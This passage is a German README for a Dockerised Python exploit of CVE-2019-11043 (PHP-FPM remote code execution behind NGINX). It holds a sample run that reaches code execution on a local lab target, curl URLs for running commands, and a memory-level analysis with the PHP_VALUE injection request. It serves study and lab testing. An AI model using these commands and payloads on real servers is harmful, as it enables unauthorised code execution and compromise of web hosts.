
Dockerisierter Python-Exploit für CVE-2019-11043, eine kritische Schwachstelle zur Remote-Codeausführung in PHP-FPM in NGINX-Konfigurationen. Enthält Einrichtung, Verwendung und detaillierte Analyse.
Eine Python-Implementierung des CVE-2019-11043-Exploits
Der als CVE-2019-11043 aufgezeichnete Exploit nutzt einen Fehler in der Implementierung von PHP-FPM in Verbindung mit einem NGINX-Server. In bestimmten Konfigurationen führt ein regulärer Ausdruck im FastCGI path_info dazu, dass das FPM-Modul über zugewiesene Puffer hinaus in den für die FastCGI-Protokolldaten reservierten Bereich schreibt. Infolgedessen kann ein Web-Benutzer möglicherweise Code aus der Ferne ausführen. Die folgende Tabelle zeigt die Bewertung des Schweregrads des Exploits gemäß dem Common Vulnerability Scoring System (CVSS).
| Metrik | Wert |
|---|---|
| Auswirkungsbewertung | 5.9 |
| Basisbewertung | 9.8 |
| Schweregrad | Kritisch |
| Zugriffsvektor | Netzwerk |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
Docker-Images:
Python:
Für die Ausführung des Projekts ist eine Installation von Docker und docker-compose erforderlich.
Durch Ausführen des folgenden Befehls aus dem Stammverzeichnis des Projekts sollten alle benötigten Docker-Images heruntergeladen und die Container in der richtigen Reihenfolge gestartet werden:
docker-compose up
Um das Setup daemonisiert auszuführen, führen Sie den folgenden Befehl aus:
docker-compose up -d
Um einen daemonisierten Start zu stoppen, führen Sie den folgenden Befehl aus:
docker-compose down
Beispiel
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Diese Schwachstelle wurde während der Qualifikationsrunde der Real World CTF 2019 entdeckt, als der Sicherheitsforscher Andrew Danau feststellte, dass das Senden eines Zeilenumbruch-Steuerzeichens %0A zu einer Ausnahme im Servercode führt.
Der reguläre Ausdruck in der fastcgi_split_path_info-Direktive kann durch das Zeilenumbruchzeichen (in codierter Form %0A) gebrochen werden. Der defekte reguläre Ausdruck führt dann zu einem leeren PATH_INFO, was den Fehler auslöst.
Da env_path_info die Adresse der Variablen path_info ist, ist path_info 0, also ist auch pilen 0. slen ist die Länge der angeforderten URL.

Durch sorgfältig gewählte Länge des URL-Pfads und der Abfragezeichenfolge kann ein Angreifer path_info genau auf das erste Byte der _fcgi_data_seg-Struktur zeigen lassen. Das Setzen von Null verschiebt das char* pos-Feld rückwärts, und das folgende FCGI_PUTENV überschreibt einige Daten (einschließlich anderer FastCGI-Variablen) mit dem Skriptpfad. Mit dieser Technik ermöglicht die Schwachstelle die Erstellung einer gefälschten PHP_VALUE-FCGI-Variablen und dann die Verwendung einer Kette sorgfältig ausgewählter Konfigurationswerte, um Codeausführung zu erreichen.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len ist die Länge des URL-Pfads
http://localhost:11043/index.php/TUD%0aNetSec.php ist/var/www/html/index.php/TUD\nNetSec.phpptlen ist die Länge des Inhalts vor dem ersten Schrägstrich im URL-Pfad
http://localhost:11043/index.php/TUD%0aNetSec.php istpt ist /var/www/html/index.phpDer Unterschied zwischen den beiden Variablen "len" und "ptlen" ist die Länge des in der URL angegebenen Pfads. Da der Pfad dieser beiden gesteuert werden kann, kann auch die Variable path_info gesteuert werden.
Da der Pfad steuerbar ist, können wir den Wert einer beliebigen Adresse auf Null setzen (Zeile 1222). Durch Setzen des Werts der Zieladresse auf Null können wir das char* pos der _fcgi_data_seg-Struktur auf Null setzen. Mit diesem Ansatz nutzen wir einen Pufferunterlauf aus und können globale Variablen in den richtigen Speicherbereich schreiben.
Hash und Länge werden vor den Schlüsseln verglichen. Durch sorgfältige Wahl der richtigen Header und Schlüssel können wir mit Headern hinzufügen. Nach den Erkenntnissen von neex hat die Zeichenfolge "ebut", die zu HTTP_EBUT wird, die gleiche Länge und den gleichen FCGI_HASH-Wert wie PHP_VALUE. Dadurch wird beim Senden einer GET-Anfrage an den Server ähnlich wie
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
der Header HTTP_EBUT zu PHP_VALUE und der Wert session_start=1.
Die folgende Liste gibt dem Ausnutzer die notwendigen Voraussetzungen, die erfüllt sein müssen, um den Angriff durchzuführen.